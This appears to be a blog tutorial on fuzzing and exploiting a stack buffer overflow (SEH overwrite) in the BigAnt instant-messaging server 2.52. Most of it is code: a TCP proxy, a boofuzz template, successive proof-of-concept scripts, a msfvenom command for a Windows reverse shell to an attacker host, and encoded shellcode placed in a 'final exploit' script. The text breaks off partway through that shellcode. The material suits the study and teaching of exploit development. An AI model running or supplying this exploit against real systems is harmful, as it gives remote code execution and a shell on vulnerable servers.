Introduction
BigAnt is client/server application which provides enterprise instant messaging solution. Buffer overflow vulnerability (SEH overwrite) was discovered in version 2.52 back in 2010 (or even earlier). Application can still be downloaded from vendor’s webpage:
- Server: https://www.bigantsoft.com/download.html
- Client chat application: https://www.bigantsoft.com/legacy/download298.html
In this blog post custom python TCP proxy and boofuzz with post_test_case_callbacks were used to find vulnerability. There are better and faster ways to create fuzzing template and detect crash (Wireshart, procmon pyton script etc.) but this is also one way to do it.
Fuzzing
In order to create fuzzing template, first we need to perform protocol analysis. One way to do it is to install BigAnt chat client and intercept traffic from chat client to the server. Traffic can be intercepted by Wireshark, Burp or similar tool. Instead of setting up Burp to work with non-HTTP traffic, or use Wireshak let’s try something else. We can write a simple, (not even fully functional) python script to act as a TCP proxy and see what we get.
Once script it ready, instead of actual BigAnt server IP address we need to setup a chat client to connect to attacking machine (172.16.24.204) where our proxy script will accept incoming connections on TCP port 6660. Once the data is received, the script will print it on stdout and forward data to the server listening on IP address 172.16.24.213 at port 6660. Script will then get reposnse from server, display it and forward it back to the client.
- TCP proxy:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
#!/usr/bin/python
import socket
host = "172.16.24.213"
port = 6660
sock_server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock_server.settimeout(5)
sock_client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock_client.settimeout(5)
sock_client.bind(('172.16.24.204', 6660))
sock_client.listen(15)
while True:
try:
client, addr = sock_client.accept()
sock_server.connect(("172.16.24.213",6660))
while True:
try:
data_from_client = client.recv(1024)
print data_from_client
if not data_from_client:
break
else:
sock_server.send(data_from_client)
except:
pass
try:
data_from_server = sock_server.recv(1024)
if not data_from_server:
break
else:
print data_from_server
client.send(data_from_server)
except:
pass
except:
pass
sock_server.close()
client.close()
TCP proxy managed to capture following data
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
USR L ATEN pero 65706f7204
aenflag:0
clientver:29702
cmdid:410
loginflag:0
macaddr:00-0C-29-53-FD-72
msgserver:
msgserverprot:0
status:3
USR OK 4 pero pero {70F74C02-1E91-48CC-80D0-772ABA7EB19F} 09C8C8DD-3890-4E2C-9F03-A182807B72BE 0 0 10000
aenflag:0
allusers:4
attachsize:-1
baseace:17
clientminver:55801
cmdid:410
companyname:test
inviews:1
itemindex:10000
leaveday:28
limitrate:-1
msends:-1
note:
pic:
scmderid:{C05693B0-BEBA-48EC-8BE7-CA178C10787B}
serverflag:2
servertime:2020-07-23 08:25:44
vertype:1
USV pero {70F74C02-1E91-48CC-80D0-772ABA7EB19F}
aenflag:0
cmdid:418
macaddr:00-0C-29-53-FD-72
mastcmd:CCL
USV pero {70F74C02-1E91-48CC-80D0-772ABA7EB19F}
aenflag:0
cmdid:418
scmderid:{C33E319F-BDA0-44BB-A8D8-34D627A6C103}
CCL
aenflag:0
cmdid:417
ismast:1
userstate:1
ERR 0 222
llusers:4
attachsize:-1
baseace:17
clientminver:55801
cmdid:410
companyname:test
inviews:1
itemindex:10000
leaveday:28
limitrate:-1
msends:-1
note:
pic:
scmderid:{C05693B0-BEBA-48EC-8BE7-CA178C10787B}
serverflag:2
servertime:2020-07-23 08:25:44
vertype:1
USV pero {70F74C02-1E91-48CC-80D0-772ABA7EB19F}
aenflag:0
cmdid:418
macaddr:00-0C-29-53-FD-72
mastcmd:CCL
USV pero {70F74C02-1E91-48CC-80D0-772ABA7EB19F}
aenflag:0
cmdid:418
scmderid:{C33E319F-BDA0-44BB-A8D8-34D627A6C103}
CCL
aenflag:0
cmdid:417
ismast:1
userstate:1
Although script is not perfect and application keeps disconnecting after some time, we still managed to capture several commands: USR, USV, CCL, OUT which are sent from chat client to server.
As next step we need to manually simulate client application with netcat and observe behaviour in more details. When we manually connect to server we can see that server is not sending any banner. Further on, when client sends command, response is not received unless two new lines “\r\n\r\n” are sent after command.
If command is not successful application returns ERR and error number together with other details.
Based on information we collected we can create fuzzing template. Since this is not a HTTP protocol, it might be useful to store both: previous and current payload as we might be able to detect crash only after next payload is sent or about to be sent.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
#!/usr/bin/python
import sys
from boofuzz import *
host = '172.16.24.213'
port = 6660
last =""
def receive_response(target, fuzz_data_logger, session, sock):
data=sock.recv(20000)
global last
if not "ERR" in data:
print "[+] No data received from BigAnt server after sending payload"
print "[+] Payload appended in bigant_crash_report.txt"
f = open("bigant_crash_report.txt", "a")
f.write("Length: " + str(len(session.last_send)) + "\r\n" + "request: " + str(session.last_send) + "\r\nResponse: " + str(data) +"\r\n\r\n")
f.close()
#sys.exit(-1)
else:
last=session.last_send
def main():
session = Session(post_test_case_callbacks=[receive_response], sleep_time=0.2, target = Target(connection = SocketConnection(host, port, proto='tcp')))
s_initialize("USR")
s_string("USR", fuzzable = False)
s_delim(" ", fuzzable = False)
s_string("L", fuzzable = False)
s_delim(" " , fuzzable = False)
s_string("ATEN" , fuzzable = False)
s_delim(" " , fuzzable = False)
s_string("FUZZ" , fuzzable = True)
s_string("\r\n\r\n" , fuzzable = False)
s_initialize("CCL")
s_string("CCL", fuzzable = False)
s_delim(" ", fuzzable = False)
s_string("FUZZ" , fuzzable = True)
s_string("\r\n\r\n" , fuzzable = False)
s_initialize("USV")
s_string("USV", fuzzable = False)
s_delim(" ", fuzzable = False)
s_string("FUZZ" , fuzzable = True)
s_string("\r\n\r\n" , fuzzable = False)
s_initialize("OUT")
s_string("OUT", fuzzable = False)
s_delim(" ", fuzzable = False)
s_string("FUZZ" , fuzzable = True)
s_string("\r\n\r\n" , fuzzable = False)
session.connect(s_get("USR"))
session.connect(s_get("CCL"))
session.connect(s_get("USV"))
session.connect(s_get("OUT"))
session.fuzz()
if __name__ == "__main__":
main()
There were several cases when server would not reply and application would crash but neither EIP or SHE was overwritten which is not a useful case for writing exploit.
However combination on USV command and large buffer (5000 characters) managed to overwrite SE handler (SEH). As show on following screenshot SEH was overwritten with 4 “A” characters (A is represented as 41 in hex).
Testing the fuzz result with proof of concept script:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
#!/usr/bin/python
import socket
host = "172.16.24.213"
port = 6660
buffer = "USV /.:/" + 5000 * "A" + "\r\n\r\n"
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host,port))
s.send(buffer)
print ("[+] Payload sent")
s.close()
Result:
Great, it works. Now we need to find location of SEH by sending unique pattern:
1
2
msf-pattern_create -l 5000
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6....
Updated PoC script:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
#!/usr/bin/python
import socket
host = "172.16.24.213"
port = 6660
pattern = "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk6Bk7Bk8Bk9Bl0Bl1Bl2Bl3Bl4Bl5Bl6Bl7Bl8Bl9Bm0Bm1Bm2Bm3Bm4Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9Bo0Bo1Bo2Bo3Bo4Bo5Bo6Bo7Bo8Bo9Bp0Bp1Bp2Bp3Bp4Bp5Bp6Bp7Bp8Bp9Bq0Bq1Bq2Bq3Bq4Bq5Bq6Bq7Bq8Bq9Br0Br1Br2Br3Br4Br5Br6Br7Br8Br9Bs0Bs1Bs2Bs3Bs4Bs5Bs6Bs7Bs8Bs9Bt0Bt1Bt2Bt3Bt4Bt5Bt6Bt7Bt8Bt9Bu0Bu1Bu2Bu3Bu4Bu5Bu6Bu7Bu8Bu9Bv0Bv1Bv2Bv3Bv4Bv5Bv6Bv7Bv8Bv9Bw0Bw1Bw2Bw3Bw4Bw5Bw6Bw7Bw8Bw9Bx0Bx1Bx2Bx3Bx4Bx5Bx6Bx7Bx8Bx9By0By1By2By3By4By5By6By7By8By9Bz0Bz1Bz2Bz3Bz4Bz5Bz6Bz7Bz8Bz9Ca0Ca1Ca2Ca3Ca4Ca5Ca6Ca7Ca8Ca9Cb0Cb1Cb2Cb3Cb4Cb5Cb6Cb7Cb8Cb9Cc0Cc1Cc2Cc3Cc4Cc5Cc6Cc7Cc8Cc9Cd0Cd1Cd2Cd3Cd4Cd5Cd6Cd7Cd8Cd9Ce0Ce1Ce2Ce3Ce4Ce5Ce6Ce7Ce8Ce9Cf0Cf1Cf2Cf3Cf4Cf5Cf6Cf7Cf8Cf9Cg0Cg1Cg2Cg3Cg4Cg5Cg6Cg7Cg8Cg9Ch0Ch1Ch2Ch3Ch4Ch5Ch6Ch7Ch8Ch9Ci0Ci1Ci2Ci3Ci4Ci5Ci6Ci7Ci8Ci9Cj0Cj1Cj2Cj3Cj4Cj5Cj6Cj7Cj8Cj9Ck0Ck1Ck2Ck3Ck4Ck5Ck6Ck7Ck8Ck9Cl0Cl1Cl2Cl3Cl4Cl5Cl6Cl7Cl8Cl9Cm0Cm1Cm2Cm3Cm4Cm5Cm6Cm7Cm8Cm9Cn0Cn1Cn2Cn3Cn4Cn5Cn6Cn7Cn8Cn9Co0Co1Co2Co3Co4Co5Co6Co7Co8Co9Cp0Cp1Cp2Cp3Cp4Cp5Cp6Cp7Cp8Cp9Cq0Cq1Cq2Cq3Cq4Cq5Cq6Cq7Cq8Cq9Cr0Cr1Cr2Cr3Cr4Cr5Cr6Cr7Cr8Cr9Cs0Cs1Cs2Cs3Cs4Cs5Cs6Cs7Cs8Cs9Ct0Ct1Ct2Ct3Ct4Ct5Ct6Ct7Ct8Ct9Cu0Cu1Cu2Cu3Cu4Cu5Cu6Cu7Cu8Cu9Cv0Cv1Cv2Cv3Cv4Cv5Cv6Cv7Cv8Cv9Cw0Cw1Cw2Cw3Cw4Cw5Cw6Cw7Cw8Cw9Cx0Cx1Cx2Cx3Cx4Cx5Cx6Cx7Cx8Cx9Cy0Cy1Cy2Cy3Cy4Cy5Cy6Cy7Cy8Cy9Cz0Cz1Cz2Cz3Cz4Cz5Cz6Cz7Cz8Cz9Da0Da1Da2Da3Da4Da5Da6Da7Da8Da9Db0Db1Db2Db3Db4Db5Db6Db7Db8Db9Dc0Dc1Dc2Dc3Dc4Dc5Dc6Dc7Dc8Dc9Dd0Dd1Dd2Dd3Dd4Dd5Dd6Dd7Dd8Dd9De0De1De2De3De4De5De6De7De8De9Df0Df1Df2Df3Df4Df5Df6Df7Df8Df9Dg0Dg1Dg2Dg3Dg4Dg5Dg6Dg7Dg8Dg9Dh0Dh1Dh2Dh3Dh4Dh5Dh6Dh7Dh8Dh9Di0Di1Di2Di3Di4Di5Di6Di7Di8Di9Dj0Dj1Dj2Dj3Dj4Dj5Dj6Dj7Dj8Dj9Dk0Dk1Dk2Dk3Dk4Dk5Dk6Dk7Dk8Dk9Dl0Dl1Dl2Dl3Dl4Dl5Dl6Dl7Dl8Dl9Dm0Dm1Dm2Dm3Dm4Dm5Dm6Dm7Dm8Dm9Dn0Dn1Dn2Dn3Dn4Dn5Dn6Dn7Dn8Dn9Do0Do1Do2Do3Do4Do5Do6Do7Do8Do9Dp0Dp1Dp2Dp3Dp4Dp5Dp6Dp7Dp8Dp9Dq0Dq1Dq2Dq3Dq4Dq5Dq6Dq7Dq8Dq9Dr0Dr1Dr2Dr3Dr4Dr5Dr6Dr7Dr8Dr9Ds0Ds1Ds2Ds3Ds4Ds5Ds6Ds7Ds8Ds9Dt0Dt1Dt2Dt3Dt4Dt5Dt6Dt7Dt8Dt9Du0Du1Du2Du3Du4Du5Du6Du7Du8Du9Dv0Dv1Dv2Dv3Dv4Dv5Dv6Dv7Dv8Dv9Dw0Dw1Dw2Dw3Dw4Dw5Dw6Dw7Dw8Dw9Dx0Dx1Dx2Dx3Dx4Dx5Dx6Dx7Dx8Dx9Dy0Dy1Dy2Dy3Dy4Dy5Dy6Dy7Dy8Dy9Dz0Dz1Dz2Dz3Dz4Dz5Dz6Dz7Dz8Dz9Ea0Ea1Ea2Ea3Ea4Ea5Ea6Ea7Ea8Ea9Eb0Eb1Eb2Eb3Eb4Eb5Eb6Eb7Eb8Eb9Ec0Ec1Ec2Ec3Ec4Ec5Ec6Ec7Ec8Ec9Ed0Ed1Ed2Ed3Ed4Ed5Ed6Ed7Ed8Ed9Ee0Ee1Ee2Ee3Ee4Ee5Ee6Ee7Ee8Ee9Ef0Ef1Ef2Ef3Ef4Ef5Ef6Ef7Ef8Ef9Eg0Eg1Eg2Eg3Eg4Eg5Eg6Eg7Eg8Eg9Eh0Eh1Eh2Eh3Eh4Eh5Eh6Eh7Eh8Eh9Ei0Ei1Ei2Ei3Ei4Ei5Ei6Ei7Ei8Ei9Ej0Ej1Ej2Ej3Ej4Ej5Ej6Ej7Ej8Ej9Ek0Ek1Ek2Ek3Ek4Ek5Ek6Ek7Ek8Ek9El0El1El2El3El4El5El6El7El8El9Em0Em1Em2Em3Em4Em5Em6Em7Em8Em9En0En1En2En3En4En5En6En7En8En9Eo0Eo1Eo2Eo3Eo4Eo5Eo6Eo7Eo8Eo9Ep0Ep1Ep2Ep3Ep4Ep5Ep6Ep7Ep8Ep9Eq0Eq1Eq2Eq3Eq4Eq5Eq6Eq7Eq8Eq9Er0Er1Er2Er3Er4Er5Er6Er7Er8Er9Es0Es1Es2Es3Es4Es5Es6Es7Es8Es9Et0Et1Et2Et3Et4Et5Et6Et7Et8Et9Eu0Eu1Eu2Eu3Eu4Eu5Eu6Eu7Eu8Eu9Ev0Ev1Ev2Ev3Ev4Ev5Ev6Ev7Ev8Ev9Ew0Ew1Ew2Ew3Ew4Ew5Ew6Ew7Ew8Ew9Ex0Ex1Ex2Ex3Ex4Ex5Ex6Ex7Ex8Ex9Ey0Ey1Ey2Ey3Ey4Ey5Ey6Ey7Ey8Ey9Ez0Ez1Ez2Ez3Ez4Ez5Ez6Ez7Ez8Ez9Fa0Fa1Fa2Fa3Fa4Fa5Fa6Fa7Fa8Fa9Fb0Fb1Fb2Fb3Fb4Fb5Fb6Fb7Fb8Fb9Fc0Fc1Fc2Fc3Fc4Fc5Fc6Fc7Fc8Fc9Fd0Fd1Fd2Fd3Fd4Fd5Fd6Fd7Fd8Fd9Fe0Fe1Fe2Fe3Fe4Fe5Fe6Fe7Fe8Fe9Ff0Ff1Ff2Ff3Ff4Ff5Ff6Ff7Ff8Ff9Fg0Fg1Fg2Fg3Fg4Fg5Fg6Fg7Fg8Fg9Fh0Fh1Fh2Fh3Fh4Fh5Fh6Fh7Fh8Fh9Fi0Fi1Fi2Fi3Fi4Fi5Fi6Fi7Fi8Fi9Fj0Fj1Fj2Fj3Fj4Fj5Fj6Fj7Fj8Fj9Fk0Fk1Fk2Fk3Fk4Fk5Fk6Fk7Fk8Fk9Fl0Fl1Fl2Fl3Fl4Fl5Fl6Fl7Fl8Fl9Fm0Fm1Fm2Fm3Fm4Fm5Fm6Fm7Fm8Fm9Fn0Fn1Fn2Fn3Fn4Fn5Fn6Fn7Fn8Fn9Fo0Fo1Fo2Fo3Fo4Fo5Fo6Fo7Fo8Fo9Fp0Fp1Fp2Fp3Fp4Fp5Fp6Fp7Fp8Fp9Fq0Fq1Fq2Fq3Fq4Fq5Fq6Fq7Fq8Fq9Fr0Fr1Fr2Fr3Fr4Fr5Fr6Fr7Fr8Fr9Fs0Fs1Fs2Fs3Fs4Fs5Fs6Fs7Fs8Fs9Ft0Ft1Ft2Ft3Ft4Ft5Ft6Ft7Ft8Ft9Fu0Fu1Fu2Fu3Fu4Fu5Fu6Fu7Fu8Fu9Fv0Fv1Fv2Fv3Fv4Fv5Fv6Fv7Fv8Fv9Fw0Fw1Fw2Fw3Fw4Fw5Fw6Fw7Fw8Fw9Fx0Fx1Fx2Fx3Fx4Fx5Fx6Fx7Fx8Fx9Fy0Fy1Fy2Fy3Fy4Fy5Fy6Fy7Fy8Fy9Fz0Fz1Fz2Fz3Fz4Fz5Fz6Fz7Fz8Fz9Ga0Ga1Ga2Ga3Ga4Ga5Ga6Ga7Ga8Ga9Gb0Gb1Gb2Gb3Gb4Gb5Gb6Gb7Gb8Gb9Gc0Gc1Gc2Gc3Gc4Gc5Gc6Gc7Gc8Gc9Gd0Gd1Gd2Gd3Gd4Gd5Gd6Gd7Gd8Gd9Ge0Ge1Ge2Ge3Ge4Ge5Ge6Ge7Ge8Ge9Gf0Gf1Gf2Gf3Gf4Gf5Gf6Gf7Gf8Gf9Gg0Gg1Gg2Gg3Gg4Gg5Gg6Gg7Gg8Gg9Gh0Gh1Gh2Gh3Gh4Gh5Gh6Gh7Gh8Gh9Gi0Gi1Gi2Gi3Gi4Gi5Gi6Gi7Gi8Gi9Gj0Gj1Gj2Gj3Gj4Gj5Gj6Gj7Gj8Gj9Gk0Gk1Gk2Gk3Gk4Gk5Gk"
#buffer = "USV /.:/" + 5000 * "A" + "\r\n\r\n"
buffer = "USV /.:/" + pattern + "\r\n\r\n"
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host,port))
s.send(buffer)
print ("[+] Payload sent")
s.close()
SEH was overwritten by value 31674230:
Finding SEH location based on value:
1
2
msf-pattern_offset -l 5000 -q 31674230
[*] Exact match at offset 962
SEH location starts 962 bytes after USV /.:/
.
Updated PoC script can be used to verify proper SEH overwrite.
1
2
#buffer = "USV /.:/" + 5000 * "A" + "\r\n\r\n"
buffer = "USV /.:/" + "A" * 962 + "B" * 4 + "C" * (5000-962-4) + "\r\n\r\n"
In order to exploit SEH overwrite, we need to find POP, POP, RET
instruction sequence in order to reach our payload on the stack. To find POP, POP, RET
mona can be used as follows:
!mona findwild -s "POP R32# POP R32# RET"
We can try any address which doesn’t have common bad characters (\x00\x0a\x0d
) and it is located within “SafeSEH: False” module, for example this one:
1
2
#POP, POP, RETN: 0x1b070c69
SEH = "\x69\x0c\x07\x1b" # written in reverse order due to little endian
- PoC script updated with SEH address:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
#!/usr/bin/python
import socket
host = "172.16.24.213"
port = 6660
# pop, pop, ret 0x1b070c69
SEH = "\x69\x0c\x07\x1b"
buffer = "USV /.:/" + "A" * 962 + SEH + "\x90" * 10 + "C" * (5000 - 962 - len(SEH) - 10) + "\r\n\r\n"
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host,port))
s.send(buffer)
print ("[+] Payload sent")
s.close()
Great, we land 4 bytes in front of overwritten SEH address.
As next step we need to use those (2 out of) 4 bytes to perform uncoditional jump over SEH address ("\xeb\x07"
) and land in space where we could place our shellcode.
- PoC script updated with jump over SEH:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
#!/usr/bin/python
import socket
host = "172.16.24.213"
port = 6660
# pop, pop, ret 0x1b070c69
SEH = "\x69\x0c\x07\x1b"
JMP = "\xeb\x07"
buffer = "USV /.:/" + "A" * 962 + JMP + SEH + "\x90" * 10 + "C" * (5000 - 962 - len(SEH) - len(JMP) - 10) + "\r\n\r\n"
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host,port))
s.send(buffer)
print ("[+] Payload sent")
s.close()
Bad characters and shell code
Process of finding bad characters was explained several times in previous blog posts. Following chars were eventually found to be bad: "\x00\x0a\x0d\x20\x25"
Based on that information we can use msfvenom to generate reverse shell code without bad characters:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
msfvenom -p windows/shell_reverse_tcp LHOST=172.16.24.204 LPORT=4444 -f python -a x86 -b "\x00\x0a\x0d\x20\x25"
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
Found 11 compatible encoders
Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 351 (iteration=0)
x86/shikata_ga_nai chosen with final size 351
Payload size: 351 bytes
Final size of python file: 1712 bytes
buf = b""
buf += b"\xbb\xe2\x01\xdf\xc8\xdd\xc0\xd9\x74\x24\xf4\x5a\x29"
buf += b"\xc9\xb1\x52\x31\x5a\x12\x83\xc2\x04\x03\xb8\x0f\x3d"
buf += b"\x3d\xc0\xf8\x43\xbe\x38\xf9\x23\x36\xdd\xc8\x63\x2c"
buf += b"\x96\x7b\x54\x26\xfa\x77\x1f\x6a\xee\x0c\x6d\xa3\x01"
buf += b"\xa4\xd8\x95\x2c\x35\x70\xe5\x2f\xb5\x8b\x3a\x8f\x84"
buf += b"\x43\x4f\xce\xc1\xbe\xa2\x82\x9a\xb5\x11\x32\xae\x80"
buf += b"\xa9\xb9\xfc\x05\xaa\x5e\xb4\x24\x9b\xf1\xce\x7e\x3b"
buf += b"\xf0\x03\x0b\x72\xea\x40\x36\xcc\x81\xb3\xcc\xcf\x43"
buf += b"\x8a\x2d\x63\xaa\x22\xdc\x7d\xeb\x85\x3f\x08\x05\xf6"
buf += b"\xc2\x0b\xd2\x84\x18\x99\xc0\x2f\xea\x39\x2c\xd1\x3f"
buf += b"\xdf\xa7\xdd\xf4\xab\xef\xc1\x0b\x7f\x84\xfe\x80\x7e"
buf += b"\x4a\x77\xd2\xa4\x4e\xd3\x80\xc5\xd7\xb9\x67\xf9\x07"
buf += b"\x62\xd7\x5f\x4c\x8f\x0c\xd2\x0f\xd8\xe1\xdf\xaf\x18"
buf += b"\x6e\x57\xdc\x2a\x31\xc3\x4a\x07\xba\xcd\x8d\x68\x91"
buf += b"\xaa\x01\x97\x1a\xcb\x08\x5c\x4e\x9b\x22\x75\xef\x70"
buf += b"\xb2\x7a\x3a\xd6\xe2\xd4\x95\x97\x52\x95\x45\x70\xb8"
buf += b"\x1a\xb9\x60\xc3\xf0\xd2\x0b\x3e\x93\x70\xdb\x58\xaf"
buf += b"\xe1\xde\x58\x3e\xae\x57\xbe\x2a\x5e\x3e\x69\xc3\xc7"
buf += b"\x1b\xe1\x72\x07\xb6\x8c\xb5\x83\x35\x71\x7b\x64\x33"
buf += b"\x61\xec\x84\x0e\xdb\xbb\x9b\xa4\x73\x27\x09\x23\x83"
buf += b"\x2e\x32\xfc\xd4\x67\x84\xf5\xb0\x95\xbf\xaf\xa6\x67"
buf += b"\x59\x97\x62\xbc\x9a\x16\x6b\x31\xa6\x3c\x7b\x8f\x27"
buf += b"\x79\x2f\x5f\x7e\xd7\x99\x19\x28\x99\x73\xf0\x87\x73"
buf += b"\x13\x85\xeb\x43\x65\x8a\x21\x32\x89\x3b\x9c\x03\xb6"
buf += b"\xf4\x48\x84\xcf\xe8\xe8\x6b\x1a\xa9\x19\x26\x06\x98"
buf += b"\xb1\xef\xd3\x98\xdf\x0f\x0e\xde\xd9\x93\xba\x9f\x1d"
buf += b"\x8b\xcf\x9a\x5a\x0b\x3c\xd7\xf3\xfe\x42\x44\xf3\x2a"
Final exploit
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
#!/usr/bin/python
import socket
host = "172.16.24.213"
port = 6660
# pop, pop, ret 0x0f9c8dd4
# 0x1b070c69
SEH = "\x69\x0c\x07\x1b"
JMP = "\xeb\x07"
# BAD chars: \x00\x0a\x0d\x20\x25
# msfvenom -p windows/shell_reverse_tcp LHOST=172.16.24.204 LPORT=4444 -f python -a x86 -b "\x00\x0a\x0d\x20\x25"
buf = b""
buf += b"\xbb\xe2\x01\xdf\xc8\xdd\xc0\xd9\x74\x24\xf4\x5a\x29"
buf += b"\xc9\xb1\x52\x31\x5a\x12\x83\xc2\x04\x03\xb8\x0f\x3d"
buf += b"\x3d\xc0\xf8\x43\xbe\x38\xf9\x23\x36\xdd\xc8\x63\x2c"
buf += b"\x96\x7b\x54\x26\xfa\x77\x1f\x6a\xee\x0c\x6d\xa3\x01"
buf += b"\xa4\xd8\x95\x2c\x35\x70\xe5\x2f\xb5\x8b\x3a\x8f\x84"
buf += b"\x43\x4f\xce\xc1\xbe\xa2\x82\x9a\xb5\x11\x32\xae\x80"
buf += b"\xa9\xb9\xfc\x05\xaa\x5e\xb4\x24\x9b\xf1\xce\x7e\x3b"
buf += b"\xf0\x03\x0b\x72\xea\x40\x36\xcc\x81\xb3\xcc\xcf\x43"
buf += b"\x8a\x2d\x63\xaa\x22\xdc\x7d\xeb\x85\x3f\x08\x05\xf6"
buf += b"\xc2\x0b\xd2\x84\x18\x99\xc0\x2f\xea\x39\x2c\xd1\x3f"
buf += b"\xdf\xa7\xdd\xf4\xab\xef\xc1\x0b\x7f\x84\xfe\x80\x7e"
buf += b"\x4a\x77\xd2\xa4\x4e\xd3\x80\xc5\xd7\xb9\x67\xf9\x07"
buf += b"\x62\xd7\x5f\x4c\x8f\x0c\xd2\x0f\xd8\xe1\xdf\xaf\x18"
buf += b"\x6e\x57\xdc\x2a\x31\xc3\x4a\x07\xba\xcd\x8d\x68\x91"
buf += b"\xaa\x01\x97\x1a\xcb\x08\x5c\x4e\x9b\x22\x75\xef\x70"
buf += b"\xb2\x7a\x3a\xd6\xe2\xd4\x95\x97\x52\x95\x45\x70\xb8"
buf += b"\x1a\xb9\x60\xc3\xf0\xd2\x0b\x3e\x93\x70\xdb\x58\xaf"
buf += b"\xe1\xde\x58\x3e\xae\x57\xbe\x2a\x5e\x3e\x69\xc3\xc7"
buf += b"\x1b\xe1\x72\x07\xb6\x8c\xb5\x83\x35\x71\x7b\x64\x33"
buf += b"\x61\xec\x84\x0e\xdb\xbb\x9b\xa4\x73\x27\x09\x23\x83"
buf += b"\x2e\x32\xfc\xd4\x67\x84\xf5\xb0\x95\xbf\xaf\xa6\x67"
buf += b"\x59\x97\x62\xbc\x9a\x16\x6b\x31\xa6\x3c\x7b\x8f\x27"
buf += b"\x79\x2f\x5f\x7e\xd7\x99\x19\x28\x99\x73\xf0\x87\x73"
buf += b"\x13\x85\xeb\x43\x65\x8a\x21\x32\x89\x3b\x9c\x03\xb6"
buf += b"\xf4\x48\x84\xcf\xe8\xe8\x6b\x1a\xa9\x19\x26\x06\x98"
